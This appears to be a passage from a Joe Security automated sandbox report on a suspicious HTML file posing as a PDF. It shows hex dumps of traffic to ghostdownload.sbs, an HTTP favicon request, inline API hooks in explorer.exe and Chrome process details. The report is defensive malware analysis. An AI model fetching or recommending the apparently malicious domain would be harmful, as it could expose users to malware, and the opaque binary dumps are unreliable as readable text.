90 85 9a e1 84 93 0d fe 2c 98 d0 54 09 26 af b8 38 df 0f 15 d8 
Data Ascii: K,)/p%I$V',@"|X'XE$@6D$83!t BBK"IX(DCAUAr$BJ@t&UVZh[pE\t5{>~X=j=i=`SM5g&eIVj>/pBKhA'(2,|
a{hkEA|QH$r8C``@$`,T&8

2022-01-13 21:05:20 UTC 611 IN Data Raw: c0 c0 0e 68 80 38 90 05 31 0c 07 55 98 ba 7f 99 02 c2 23 bc 35 44 01 35 7c 81 07 c8 00 8f 84 88 67 38 82 c7 
0b 31 97 ab 9b d2 7b 81 26 b0 aa 48 f0 0e 70 d8 04 0c 60 00 0c 08 03 36 fb 0e 2b a8 80 17 80 82 11 f0 ca 1e 10 aa 47 94 
07 72 d0 84 20 28 24 10 1a b3 b0 10 0e 49 f0 06 a4 20 87 48 00 02 03 42 01 eb fa bd 6b 12 be 82 39 8b e8 49 95 ee 7a 
81 20 80 85 bb 30 a7 7c 90 87 77 c8 8c 25 58 82 2d 90 86 c5 43 0a 77 38 c1 fc 41 16 74 30 37 74 63 9f 43 49 06 23 20 80 
fe 31 38 c6 9d 52 07 6e c9 96 57 cc b7 68 6c a8 d8 78 bf 26 60 01 03 a2 17 05 1a b8 c7 ba bf 08 80 80 ba d0 97 b9 b2 b1 
05 00 81 54 c0 41 fd 00 81 3b d4 1b 76 4c 81 09 c8 02 67 90 20 90 b3 80 dd c8 01 11 50 33 6b b8 95 c6 23 a3 0f 68 b9 bd 
69 01 0e 3c 99 cf 13 83 20 aa 80 4c 08 87 b0 9b 04 0d 40 1b 
Data Ascii: h81U#5D5|g81{&Hp`6+Gr ($I HBk9Iz 0|w%X-Cw8At07tcCI# 18RnWhlx&`TA;vLg P3k#hi< L@

2022-01-13 21:05:20 UTC 627 IN Data Raw: b0 40 8c 55 10 ee 3b 30 05 30 f0 21 82 0d 0b 49 3e f8 85 af 7d e3 10 0e d0 90 0a 94 70 05 3f b0 ce 3f 30 04 c9 
43 0c 0c c3 a4 9e 10 04 ce c7 02 a5 02 09 a7 30 9f 97 af 0d b4 70 0a 7a 80 96 86 51 ce b7 e5 01 2e 10 04 42 90 05 fc c8 
ef e9 a6 ed ea 0e 8c dd 20 0b 9e 00 09 44 e0 dd 43 00 09 90 a0 0a d6 60 95 85 2f 0f f0 fe d0 fc f2 e0 0e e0 00 0a 60 b0 
04 81 a5 02 15 e0 02 94 70 0a 0b 73 dc d7 90 0e d8 70 0d ec a0 ed f5 e0 fb 87 cf 0c a0 a0 09 9b 10 f2 cf 20 6e d1 63 2b 
ea 06 ea c2 9b 05 f8 b5 c0 6e 35 1a 0c b2 45 34 50 07 29 0d 0a 35 ac 89 00 c1 0f dd 2e 5d c2 8a 09 43 48 0c db b7 6b c4 
80 85 02 b6 8c 59 30 60 d8 d2 d5 ab 67 4f 63 3e 7a ca 7e 1d 5b 97 8e 98 c1 6b ea d4 6d b4 37 af da 31 5d 2d 91 e9 42 a6 
8c 1a 3d 8c 18 89 51 fc 94 2a 95 2a 9e 9d 20 65 68 e0 
Data Ascii: @U;00!I>}p??0C0pzQ.B DC`/`psp nc+n5E4P)5.]CHkY0`gOc>z~[km71]-B=Q** eh

2022-01-13 21:05:20 UTC 643 IN Data Raw: e1 04 a3 05 05 51 30 08 a6 10 0b b1 90 07 3b e0 53 87 a5 03 2d 20 02 2c f0 0a 1b a7 0d 90 f0 00 11 20 02 7c 
a5 63 f6 01 2a 50 21 4f 17 e1 73 bb b7 12 34 90 03 1d b0 03 97 10 0e fe ed d0 0e dd 60 09 20 d0 01 db a3 4d 51 23 3f 20 
28 1d 2e 60 0c 09 35 7c 27 48 68 0f 86 76 08 44 56 d3 c0 05 04 50 06 ef 40 40 81 f6 45 bb 94 3a ea f0 0b 46 60 04 45 a0 
01 18 90 02 d1 d5 27 77 37 01 16 f5 05 cb 80 2d 48 18 0f e0 f0 0c 9b 00 06 47 a0 01 c0 a8 01 46 d0 05 65 c0 0c df e0 6f 
dd e0 09 72 90 02 8f 55 12 b5 c1 13 51 26 79 1b 84 12 51 60 79 53 70 05 b1 b0 0d 70 66 0a 57 30 49 03 b6 64 28 90 02 
55 80 0a a4 57 7a 90 50 01 0f 80 22 a4 54 43 03 21 1c ac 31 22 06 b1 19 c8 d1 73 70 54 4f 9e 84 3b ef 33 49 22 e0 02 87 
98 88 dd a0 81 20 40 49 4e b6 2e 00 53 2a 71 d4 1a f3 64 5a 
Data Ascii: Q0;S- , |c*P!Os4` MQ#? (.`5|'HhvDVP@@E:F`E'w7-HGFeorUQ&yQ`ySppfW0Id(UWzP"TC!1"spTO;3I" @
IN.S*qdZ

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:20 UTC 659 IN Data Raw: 78 51 4d 0d be d9 09 23 8c 40 82 ec 5c ee dc 33 e2 4f 57 a4 d4 0c 32 fa bd 52 5f 2b ac c0 02 05 5f 5b f1 45 25 
9f 2c 83 36 38 04 c7 13 4f c2 72 cb 0d 77 3e fa 50 6f fd db f6 c8 b3 0c 0b 75 46 f5 7b c5 26 08 77 54 9d bb b5 1e 18 94 26 
13 9e f8 ed 8c ce e9 31 4d 21 2f 5e 13 0d 1e df 0e ad 44 18 57 1c 3a 4b 90 32 34 67 df 52 92 9a d0 e6 14 93 28 d5 6f 5d 
a4 13 cf 83 80 b6 1f bc 68 a9 52 0f 7c 19 b9 a8 42 98 13 20 0d 05 b4 43 01 a3 a8 42 14 b0 e4 ee 21 39 db 94 fe 66 40 02 
18 68 a1 12 9a 60 85 34 a8 31 30 5a 21 8c 6d 6d 9b 9e 3e 66 48 c3 1a ce 30 6e da 03 c2 6f 8c 42 23 c9 31 85 2f fe bc 03 
cd f9 14 47 c4 cb e0 e0 06 20 03 9a c8 0c 18 b8 c0 5c c6 06 35 61 a2 eb 6e e7 90 cd 49 4e 80 9b 9b 48 b5 30 67 02 81 8c 
cf 38 2d 71 4a 13 71 f4 37 08 91 ae 83 b6 c1 cb 64 
Data Ascii: xQM#@\3OW2R_+_[E%,68Orw>PouF{&wT&1M!/^DW:K24gR(o]hR|B CB!9f@h`410Z!mm>fH0noB#1/G 
\5anINH0g8-qJq7d

2022-01-13 21:05:20 UTC 675 IN Data Raw: d5 31 b5 aa bf fe f8 f5 ef bf b5 a3 b0 32 be 95 f8 cf 7f a2 42 d1 4e 42 35 37 c7 bc cc 20 b5 ba 09 0e 20 d8 19 27 
38 01 0a da a9 dd 86 3c b7 93 9b 08 ac 39 1e 39 08 a8 c0 a7 92 f1 18 c5 80 21 52 c9 a8 0a a8 a1 eb 19 8c 85 27 73 1f 01 
61 18 43 19 ce 90 86 35 b4 e1 0d 71 38 43 13 a5 84 6e a2 0b 91 d1 6e 55 83 1b d4 00 82 11 d4 58 67 70 00 38 4c fd a4 
56 07 29 d9 73 70 32 03 28 9a 30 78 55 5c fe 4d 93 b2 32 bc f5 cc af 34 9e 1b 5d 0b d1 97 43 31 8e 91 8c 65 34 e3 19 cb 
48 3b 98 29 90 6e 39 59 61 74 6e 40 83 ce 2d 04 39 75 2c 5d 50 9c a8 9b e5 a4 44 39 47 89 14 b3 76 03 be 03 52 b1 37 
24 d1 1f 06 0d d6 c5 2f 86 11 8d 8d 74 e4 23 21 19 49 19 fe 8e 87 99 b2 e4 f5 6c 22 44 d0 7c 68 28 1d da 58 12 71 e6 31 
f0 80 10 37 3c 34 21 a8 4e 94 b0 03 22 4d 65 2f 7c 9f 4c 
Data Ascii: 12BNB57  '8<99!R'saC5q8CnnUXgp8LV)sp2(0xU\M24]C1e4H;)n9Yatn@-9u,]PD9GvR7$/t#!Il"D|h(Xq17
<4!N"Me/|L

2022-01-13 21:05:20 UTC 691 IN Data Raw: 38 45 51 3c ca 62 3d eb a0 5a a4 79 12 ea a4 fc 43 0c 60 13 69 22 aa a2 26 aa bb ba eb 9e 40 aa 3c c6 53 a6 
c8 27 79 99 22 f5 98 a2 a1 b9 eb fa 58 8a 52 d4 80 82 7a d6 ea 44 05 7c 60 62 61 96 a1 ea 68 a8 80 6a 52 ff f4 5e a5 d4 
c0 82 16 e6 a5 c4 ab b7 4e 86 55 4c 5e 66 3a 12 0e 70 92 a1 19 1a 0a 20 4a c2 32 4a c2 96 5f bc 16 5b b5 32 45 0c 58 0e 
3d 42 e7 54 4c ab 0d e0 aa 45 fe a6 b8 56 ab 23 0d e8 6b 9a 22 ff e4 2c a8 96 26 55 98 df 36 09 65 c9 66 2c 95 c2 a6 e5 
14 e1 3f 14 1b 48 1e fe 45 18 9a d2 2a 61 05 b1 28 45 23 45 c1 36 65 82 36 90 03 cc a8 54 2e e5 56 6e ad 96 e1 aa 45 54 
18 6e e1 86 48 34 60 41 38 52 4a d4 5e ed 54 b8 25 ae 56 2e 95 3a c5 97 3e da 54 34 8a c5 5e 2c c6 96 ec e4 79 ac bb 
42 5e 54 7c a5 cc 4a 6c dc 46 45 3c 95 40 bc 46 c7 55 7c a9 
Data Ascii: 8EQ<b=ZyC`i"&@<S'y"XRzD|`bahjR^NUL^f:p J2J_[2EX=BTLEV#k",&U6ef,?HE*a(E#E6e6T.VnETnH4`A8R
J^T%V.:>T4^,yB^T|JlFE<@FU|

2022-01-13 21:05:20 UTC 707 IN Data Raw: 75 54 d6 65 45 e0 0b a8 04 4b e8 e4 e6 cc 1e 51 0c e6 a9 9d 1e e5 98 96 aa 51 22 03 64 81 27 fc 43 33 34 c3 
31 4c 83 64 4a 26 33 50 c3 31 40 26 64 62 44 32 fc c3 31 30 43 33 fc 43 72 41 02 fe 39 4f 08 94 80 69 86 4a 49 7c 44 09 
98 80 08 88 40 07 3c 80 0a 3c 18 16 78 01 28 3c c3 da 59 83 37 9c dc 33 2c c3 30 74 82 17 08 81 bc 48 53 0e 98 80 0d 
08 63 de c8 c0 0b f0 c0 0a 4c 00 05 08 41 25 70 82 34 b0 1d b9 49 c3 27 54 42 17 5c c0 05 80 81 27 a4 02 2a 5c 42 10 80 
80 09 e8 00 0e 48 8c 07 f8 00 11 78 01 4d 5e c3 35 78 43 50 a9 c2 43 4d c0 07 60 c1 25 a8 82 2c 9c c2 15 b4 a3 0f c0 07 
1c ba c0 0f 58 81 17 44 02 30 50 83 37 78 03 38 5c 43 37 60 43 33 7c 02 18 00 e7 03 e0 06 0a 40 81 6e 50 96 09 34 80 
64 08 01 6d 2e 03 6e 0e a8 da 31 03 30 88 41 17 68 00 08 fe 5a 
Data Ascii: uTeEKQQ"d'C341LdJ&3P1@&dbD210C3CrA9OiJI|D@<<x(<Y73,0tHScLA%p4I'TB\'*\BHxM^5xCP
CM`%,XD0P7x8\C7`C3|@nP4dm.n10AhZ

2022-01-13 21:05:20 UTC 723 IN Data Raw: 3c 39 6b 50 64 22 0f ac 94 c1 1b ec 71 4c 39 b1 48 11 df 06 77 23 2f a0 41 08 8a 0b 06 6d 0a 44 1c 7d 65 40 
0a 52 d0 5c e7 3e 49 88 1a 59 46 16 20 30 81 14 c8 c0 35 d3 a9 5a 3e 51 03 3b 7b 5a 21 1a 4d b2 07 36 bc 50 81 8d 74 
b8 03 58 80 85 3b 38 45 0e 30 54 a0 01 a7 72 82 13 aa 8a 84 1a 20 21 07 90 34 88 18 fe b1 e4 66 24 50 7f 68 95 49 3c 8c 
11 00 86 9e 34 80 13 81 6b 44 f0 21 90 b3 86 04 06 60 74 8b 04 2a c0 09 e8 76 43 13 1a d0 70 fe 03 3c 6c a7 c9 1a a4 19 
ec 4d 81 ea 54 72 83 18 c8 c0 06 36 f0 80 08 74 f0 82 08 88 e4 ae dd 39 81 0e 3e 00 81 4a 70 55 1e ee f8 c4 0f 1a 20 02 
14 4c d5 96 3d d8 0c 1e ff e1 8e 78 54 14 1c 93 e1 88 3e 04 fc 18 b5 de 76 93 09 66 a9 25 67 1b db 89 70 19 24 4d 28 01 
18 ff 41 02 0b 84 41 af 02 b1 86 26 92 cc 66 28 81 78 23 c7 
Data Ascii: <9kPd"qL9Hw#/AmD}e@R\>IYF 05Z>Q;{Z!M6PtX;8E0Tr !4f$PhI<4kD!`t*vCp<lMTr6t9>JpU L=xT>vf%gp
$M(AA&f(x#

2022-01-13 21:05:20 UTC 739 IN Data Raw: c0 12 36 8e 80 01 22 64 ec 1f fa 13 4f ff 4e 20 81 0b 84 a1 6b f6 50 47 28 30 d0 80 03 8e 2b 1f f4 f8 c5 3f e2 43 
ae 66 90 41 08 13 20 81 6d 90 47 83 f3 59 6c 2f 35 d0 81 0c 3a a0 05 6d b4 23 3b 54 84 80 0b 70 80 84 27 e0 70 85 13 fb 
87 03 aa d0 0c 07 d9 63 1a 1a 00 01 0a fa f2 0f 0b a9 24 65 21 80 80 18 60 69 cd 0a b4 a0 03 42 b0 46 3d f2 21 0f 63 2c 
c1 03 1a 24 cc 0d 5c d4 00 2f 78 23 2b f3 d8 04 f9 52 a0 92 14 fd 23 0a 38 25 43 56 ea 91 1f 0a 88 20 8d a1 6a 4e 4b c2 
1a 03 19 a4 91 06 25 60 e3 94 de 68 0d 96 ac ed 1f 9d 00 41 03 ac b0 8c 3c aa 64 1d a1 08 c2 03 40 d0 fe 89 40 82 65 90 
fb 70 47 52 36 40 86 6f f8 d0 1e 14 e1 17 24 6d f2 26 bd c5 ad 28 f6 18 0b 04 94 c0 84 21 4a 8a 2d 31 f0 01 28 87 e1 b5 
74 d8 ef 2e 57 2b 8c d5 44 55 18 c2 b0 92 06 0a aa 
Data Ascii: 6"dON kPG(0+?CfA mGYl/5:m#;Tp'pc$e!`iBF=!c,$\/x#+R#8%CV jNK%`hA<d@@epGR6@o$m&(!J-1(t.W+DU

2022-01-13 21:05:20 UTC 755 IN Data Raw: 03 12 bc e2 4b 15 bf 21 40 92 61 3d f1 6c 72 01 04 2d 24 bd ec 0c f6 36 fc eb cc 11 a3 c9 cc 52 ba 6e cc 03 c3 
50 10 39 10 c9 10 a4 f0 cf 10 d6 fc 59 8f 31 4b 48 10 73 c2 33 4b f0 80 fe 17 dd 8c 3c cf 26 1a 30 e0 b6 cf 84 d7 25 8c c5 
82 99 90 83 09 34 d4 8b c4 d2 4e 39 55 03 0d 32 c8 d0 82 25 e4 c8 43 75 b5 58 d3 a0 2c cc 1b 0b a4 83 b4 10 4b 1c 60 
41 cb 32 8b 44 55 03 51 80 ad 40 c4 b6 ed b6 35 23 b3 ec f2 b2 bc 72 34 42 08 16 88 2a d0 df b4 f2 5c f8 f0 5d f9 c2 45 c9 
ff bc f0 42 0e 32 d0 60 03 12 8f db 1b f9 0d 38 f0 db 03 25 e2 f8 8d 9e 03 29 d0 70 c3 e7 4f d3 50 3d 47 0e fc 33 b1 40 18 
7c 20 03 c3 a9 6b 1c 3a 14 25 83 41 90 26 eb b6 80 85 9f f2 d0 fd 68 aa be 9e 10 c1 04 5f 00 c7 3f ec 21 0f c0 b1 8b 78 08 
0c 0a 36 0e 62 01 93 bd a0 72 34 79 5c f4 b8 
Data Ascii: K!@a=lr-$6RnP9Y1KHs3K<&0%4N9U2%CuX,K`A2DUQ@5#r4B*\]EB2`8%)pOP=G3@| k:%A&h_?!x6br4y\

2022-01-13 21:05:20 UTC 771 IN Data Raw: fe 1e e8 e4 e8 0d 62 dd b5 19 df d1 ba b9 bd 43 be 72 13 bf 9a 76 a6 56 77 c3 e9 89 c6 55 87 ad 50 f8 3b 69 0f 
01 be b8 10 5d 2e c1 9b 04 f3 22 47 57 e5 77 46 c7 da 03 55 1e 87 3f bc 38 77 3f fc d9 a3 f6 97 b0 23 2e ec 81 0b f9 d9 ca
56 f1 3f 8b 2e 40 2d 7e 3c a4 2b 57 7a d5 9d de 70 95 89 59 e9 b6 be b3 13 09 5a e5 9a 3f 5b cd f3 22 1f db eb 36 c1 46 
9f 2f ef 42 6e 35 9e 5d ce 66 33 32 7c e2 29 15 7a 4b b2 37 de 4d 06 04 00 21 f9 04 05 07 00 ff 00 21 fe 0c 4c 61 76 63 35 
36 2e 31 2e 31 30 30 00 2c c0 00 bf 00 4c 01 d2 00 00 08 fe 00 ff 09 1c 48 b0 a0 c1 78 06 eb fd cb 97 af 60 3e 7b 03 ed 
49 84 68 b0 a2 c5 8b 18 33 6a dc c8 b1 a3 c7 8f 20 43 8a 1c 49 b2 a4 c9 8e fa fe a5 fc 67 0f a1 40 2f 9e 06 36 9b 36 8d e0 
cc 63 02 8f 35 4b b6 93 d9 c9 9f 40 83 0a 1d 
Data Ascii: bCrvVwUP;i]."GWwFU?8w?#.V?.@-~<+WzpYZ?["6F/Bn5]f32|)zK7M!!Lavc56.1.100,LHx`>{Ih3j CIg@/66c5K@

2022-01-13 21:05:20 UTC 787 IN Data Raw: ad 85 1e 5a c0 ec 04 d3 f4 38 4e 8a cb 68 68 41 06 2a 06 aa c3 c1 2f 51 58 41 0a bf 44 81 e1 8a 3c 64 89 c5 
12 3b aa 00 02 25 16 2c c9 e6 14 11 22 80 01 2b ad b8 da c6 15 b0 08 8d a1 ac 12 6e e2 01 85 2b 68 b1 65 44 2b 47 1c 
33 8f 6e 45 e0 61 07 13 3a 40 c1 af 43 b4 b3 24 36 52 e0 58 81 d1 06 9a c8 56 14 07 42 a0 31 16 29 ec 2b 8d a6 58 4b 3b 
41 8a 51 40 f3 56 3f 1c 27 4d 61 b5 0e 40 08 29 0e 10 e0 05 c1 85 1b 5d d8 e1 0a 17 38 70 a0 05 3b b2 19 3d 07 17 b6 6e 
c1 87 b0 e6 38 c5 16 61 07 11 14 e2 83 72 90 01 2c ad 63 a1 45 92 0e 3e 58 c5 2b 17 1a f0 e0 94 c9 5a 48 ed ae 93 43 
28 21 82 17 dc 13 65 b7 31 ed e0 fa 04 59 4d 43 c1 75 f4 20 9d 8f 0c c9 04 8b e3 c0 20 fe 0c 24 05 05 bd 60 6b 09 6a d0 
21 b6 31 8a 1e a0 60 20 a3 a8 89 68 70 a4 20 1c c9 85 61 53 80 
Data Ascii: Z8NhhA*/QXAD<d;%,"+n+heD+G3nEa:@C$6RXVB1)+XK;AQ@V?'Ma@)]8p;=n8ar,cE>X+ZHC(!e1YMCu  
$`kj!1` hp aS

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:20 UTC 803 IN Data Raw: ca 46 ca 7f b0 23 14 69 f3 41 e2 14 d5 e5 a8 58 84 09 ff 68 82 05 20 40 06 be 4e a3 0b 18 c8 72 0d 2c f4 84 26 
48 20 03 8a fe c7 3a 20 f1 80 0d 67 64 5d 05 09 87 3b dc e1 0d 60 70 81 9c c0 48 07 02 fb 9c 0f 3e f7 f9 1e cc e0 42 05 f2 
f5 51 81 f4 80 a2 27 a1 62 75 0d 62 81 46 e7 78 71 6c 53 d4 09 2a c0 8a 4a 77 c3 0a 4c 19 88 04 bc d0 0c 81 cc e3 13 44 
c8 08 57 b2 e0 da 0a 15 e4 56 2f 91 c0 17 20 f7 95 5f 7d 07 ca 5b be 55 aa 0b f7 8f 2b 48 63 a3 d4 08 83 6c 5f 79 83 33 
38 21 71 47 41 0f 14 fe 22 b0 d4 6f 0c 04 18 1a 38 2f 0f 9e 70 83 18 40 c1 b3 89 86 f3 17 3e e0 2a 8e 78 5b 78 fb 21 43 68 
99 04 0f 4f 2a c3 88 ae 81 4f a4 f8 ec ed fa 1c 43 c5 fa 1a f4 0e 68 d2 6e 87 38 54 c7 d0 c3 92 04 58 d1 0e ab 59 63 09 b4 
fa 47 08 86 d5 8c 7a fd 23 a3 18 31 41 07 e0 
Data Ascii: F#iAXh @Nr,&H : gd];`pH>BQ'bubFxqlS*JwLDWV/ _}[U+Hcl_y38!qGA"o8/p@>*x[x!ChO*OChn8TXYcGz#1A

2022-01-13 21:05:20 UTC 819 IN Data Raw: 1a 5a 89 ab 7c 9a 7d e3 48 dc ce b1 4b f2 18 74 ac 34 cc c2 16 83 88 82 8c ee cd 11 e4 b0 ba 4c 26 40 81 0c 
b6 7d e9 17 30 48 cd c5 91 cf 50 81 2b 05 48 0f 44 75 26 50 1d 09 fe 28 4e 72 f8 35 a8 70 3e 9a 82 40 2e 4d ee ea 3c fc 1f
e9 2e 5d e9 da dd 02 13 48 26 07 fa d3 9f 0c e6 3d 3d c9 d8 5c 96 ff 98 9f 47 5c 3c 23 14 e3 88 e8 a5 69 b6 9a 4f 87 02 c9 
00 bc 36 02 2f 1d 09 54 25 87 59 cc 62 10 37 47 58 c3 65 f0 82 1c a0 db 04 e9 f6 7a c4 5f c0 84 e4 75 fa 37 1c 12 2a 99 94
42 82 90 53 09 05 22 98 52 c8 43 40 82 17 34 c1 ee 28 80 9f c9 5f c0 ee 2b dd 3d e8 6c 9e 11 9d 83 3e f3 74 d7 bc eb 2d 
c0 79 0f 72 de 02 1b e0 1c e7 5c f7 79 0b 60 fe 0f 11 60 98 06 dc d2 ab 87 ba 4d 83 3e 6a f9 04 50 38 81 0e 24 f3 6a e8 
cc 8f 47 0d 32 01 0f ea 50 07 29 dc fc e4 1c c1 
Data Ascii: Z|}HKt4L&@}0HP+HDu&P(Nr5p>@.M<.]H&==\G\<#iO6/T%Yb7GXez_u7*BS"RC@4(_+=l>t-yr\y``M>jP8$jG2P)

2022-01-13 21:05:20 UTC 835 IN Data Raw: eb 09 d8 01 09 66 70 02 85 26 34 19 07 ba 6e 38 e9 82 01 06 04 b0 c0 02 06 82 ff e4 9a 7f 66 6b 47 28 96 10 
02 1a e8 00 04 5e f8 06 64 fe b2 f5 80 08 9c 80 03 2d b8 de 56 ea 31 0f 6a 58 e1 07 29 78 41 97 90 70 03 d4 d8 e0 5c 69 
a2 c1 0a 84 b0 0c 77 6c 45 1e e5 f0 45 17 2e c0 00 08 60 00 04 10 80 00 16 20 f1 8a 2b a0 00 24 43 48 45 09 f3 62 8d 4d 
58 81 01 16 a8 40 fe 32 90 81 25 6c a2 1b 16 1b 87 26 2a e0 80 11 78 ac 0a cd b0 55 5e ba 31 09 06 14 e1 02 0b 10 c0 
06 8e 10 0c 75 40 66 1f 5d 94 07 38 34 a1 01 fb 09 40 00 17 08 43 33 24 18 0f 4f c0 a0 32 2c d9 0f d1 84 96 9a 0b 35 cd 
8e 77 c4 63 1e 23 04 91 0a a1 40 6a 32 40 81 bb 3a f4 21 c3 91 48 1f f6 48 46 06 16 e0 00 4a 8c c4 48 24 4a 48 3b bc 00 
82 07 1c e1 6d 3a ba 51 8e 78 e4 a3 0e c8 80 08 18 d8 80 18 
Data Ascii: fp&4n8fkG(^d-V1jX)xAp\iwlEE.` +$CHEbMX@2%l&*xU^1u@f]84@C3$O2,5wc#@j2@:!HHFJH$JH;m:Qx

2022-01-13 21:05:20 UTC 851 IN Data Raw: 1c 9c 4a 60 95 f9 80 80 4e 40 71 c1 29 94 e5 a8 08 40 c7 01 0b 70 80 8d ec b0 00 12 50 02 31 41 88 00 0a de 
e4 11 6d 64 e1 03 22 98 c2 0b ac 84 34 a4 e1 a0 45 ef 29 41 0f 18 26 8b e1 58 49 81 af b2 84 6f 80 33 04 fd c0 09 05 7e 
89 9d 0b 0c 46 89 07 9c ad 1b 59 68 41 14 91 e6 81 1e dc 30 0f 3d 90 01 56 9c 90 24 1d 4c 81 03 2f a0 85 2d ec d0 81 17 
f4 e0 7f 32 28 81 08 7e 70 89 76 74 42 05 0e 88 44 37 64 e1 82 08 3c 71 04 25 28 01 96 38 80 05 67 68 a3 3a 2e d0 c6 26 
97 d2 27 68 60 e1 03 1d 88 5a d4 3a d2 0d 67 54 27 0e b4 e0 86 91 1a 70 a4 10 40 30 05 44 a2 94 0b 7c d0 24 ab 6c 2a 
77 b8 db d4 f0 7e 09 cc 60 0a 33 2d 5a 79 0f 0a 90 07 8d 4b 54 01 0b 58 b8 02 16 e2 70 85 2b ec 00 41 59 e8 46 34 58 f0 
b0 fe 88 85 a0 7b ad ca c2 c3 42 50 02 27 8c 20 02 98 20 c7 
Data Ascii: J`N@q)@pP1Amd"4E)A&XIo3~FYhA0=V$L/-2(~pvtBD7d<q%(8gh:.&'h`Z:gT'p@0D|$l*w~`3-ZyKTXp+AYF4X
{BP'  

2022-01-13 21:05:20 UTC 867 IN Data Raw: 1e 53 43 44 ba 04 14 d6 01 49 45 22 39 27 b9 96 8d 32 94 fa 48 10 2c 01 92 7c 48 26 90 64 96 51 11 44 77 99 
97 7a 09 37 78 b1 63 be 28 16 4e c9 16 45 82 17 8e 49 26 cf d8 8e 88 99 98 70 83 8c 5b e9 2f 50 d1 8a 92 a9 22 27 10 03 
1a d9 1c 55 15 96 ae 38 8a e1 b2 8d 10 e8 13 70 28 1e dc f4 93 41 21 9a cd 01 8d 07 c1 36 8b 94 3b 52 b5 1f d7 f2 9a 1f 
d5 8b 62 39 10 bb 06 84 03 d4 84 6b 95 91 62 29 9a 84 48 22 02 47 55 02 91 5d 04 11 0b b3 f0 0f d1 e9 0a 77 10 3f 03 e4 
5a 19 a9 81 aa fe 09 82 91 72 98 92 33 37 e1 32 40 df 66 39 04 b4 1b f9 a1 10 db 40 0b 03 51 28 28 e0 15 74 a8 3d 74 73 
28 98 23 99 4f 78 02 84 f8 42 b5 e2 04 27 c0 4d dc 14 2e 3b 81 3b 94 92 3b 19 d3 16 02 97 03 2d 60 0a ff 70 0a 76 00 09 
76 60 07 59 90 05 76 20 07 08 51 22 08 15 48 e2 d9 39 35 
Data Ascii: SCDIE"9'2H,|H&dQDwz7xc(NEI&p[/P"'U8p(A!6;Rb9kb)H"GU]w?Zr372@f9@Q((t=ts(#OxB'M.;;;-`pvv`Yv Q"H95

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

9 192.168.2.4 49784 172.67.167.234 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2022-01-13 21:05:20 UTC 880 OUT GET /file-7564c3328869m00865113607754b653/favicon.png HTTP/1.1
Host: ghostdownload.sbs
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2022-01-13 21:05:21 UTC 881 IN HTTP/1.1 200 OK
Date: Thu, 13 Jan 2022 21:05:21 GMT
Content-Type: image/png
Content-Length: 245
Connection: close
cache-control: public, max-age=604800
expires: Thu, 20 Jan 2022 21:05:21 GMT
last-modified: Tue, 08 Dec 2020 02:28:35 GMT
x-turbo-charged-by: LiteSpeed
CF-Cache-Status: MISS
Accept-Ranges: bytes
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WRYihnSXtWY8RnUUcWEN3n09TGA3y%2F
uQktEceYSZrkuHpkayzcb9iJiddfvwQWV%2F8oaLrbcPw4IjyWbSkqezUFNMMc9qpsoMvHdmb78gDuQjJmy2pwjvyZ
kafy48s3VOGOWTcg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6cd19509cf616940-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Copyright Joe Security LLC 2022 Page 154 of 171



Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

2022-01-13 21:05:21 UTC 882 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3d 00 00 00 3d 08 06 00 00 00 1e 62 61 e9 00 00 
00 bc 49 44 41 54 68 81 ed d8 31 0a c2 30 14 87 f1 f7 2c 9e 41 5c bd 85 08 e2 d6 55 c4 d5 4d e8 e4 e6 61 32 0b f6 10 8e 
0e 9e 47 70 d3 2a d2 b5 d0 6c 0f 2b ff ef b7 64 08 24 f9 92 2d 06 00 c0 7f f0 dc 29 1f eb d9 2b a2 e2 38 59 8c db 71 ba ad 
9b 88 f5 e7 1f 5f 96 65 73 eb 9b 1f 45 6c 3a 74 44 ab 20 5a 05 d1 2a 88 56 41 b4 0a a2 55 10 ad 82 68 15 44 ab 20 5a 45 
f6 37 b4 aa 76 83 bd 86 94 4e d9 79 f7 fe 34 5e ba ab 38 df df 11 9b ee af 87 a2 1d d3 a6 7e 46 ac 7f 31 5f f1 ef dd 41 b4 
0a a2 55 10 ad 82 68 15 44 ab 20 5a 05 d1 2a 88 56 41 b4 0a a2 01 00 00 7e ca cc be 7b a0 16 5a c5 bd f6 ed 00 00 00 
00 49 45 4e 44 ae 42 60 82 
Data Ascii: PNGIHDR==baIDATh10,A\UMa2Gp*l+d$-)+8Yq_esEl:tD Z*VAUhD ZE7vNy4^8~F1_AUhD Z*VA~{ZIENDB`

Timestamp
kBytes
transferred Direction Data

Function Name Hook Type Active in Processes

PeekMessageA INLINE explorer.exe

PeekMessageW INLINE explorer.exe

GetMessageW INLINE explorer.exe

GetMessageA INLINE explorer.exe

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 22:05:14

Start date: 13/01/2022

Path: C:\Program Files\Google\Chrome\Application\chrome.exe

Wow64 process (32bit): false

Commandline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-
automation  "C:\Users\user\Desktop\Doc3038210381 pdf.html

Imagebase: 0x7ff609c80000

File size: 2150896 bytes

MD5 hash: C139654B5C1438A95B321BB01AD63EF6

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Show Windows behavior

User Modules

Hook Summary

